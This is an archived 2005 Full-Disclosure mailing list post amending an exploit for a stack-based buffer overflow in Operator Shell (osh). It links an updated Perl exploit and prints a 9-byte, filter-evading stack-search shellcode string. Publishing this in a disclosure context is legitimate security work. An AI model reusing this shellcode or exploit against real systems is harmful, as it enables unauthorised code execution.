full-disclosure - Operator Shell (osh) Stack-based Buffer Overflow Amendment

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20050818113240.GA5046@bokeoa.com>
Date: Fri Aug 19 14:34:10 2005
From: core at bokeoa.com (Charles Stevenson)
Subject: Operator Shell (osh) Stack-based Buffer Overflow
	Amendment

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Andrewg managed to trim the shellcode to 9 bytes while still bypassing the
character filters a few hours after the first post.  I think this shellcode
might be of great benefit to others in the future.  Here's the amended
exploit:

http://bokeoa.com/~core/x_osh2.pl

Or if you just want the new stack search shellcode and don't care to
take the time to paste the URL here it is:

"\x61\x66\x3d\x90\x90\x75\xf9\x54\xc3"

peace,
core

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.1 (GNU/Linux)

iD8DBQFDBHHYGAuLrxOyeJMRAp9jAKCxFpDv39gCNC42WurL8I0NW/XhNwCeJZ1H
g+J+Uuzt5If6pQwJBPcpOOE=
=yF9k
-----END PGP SIGNATURE-----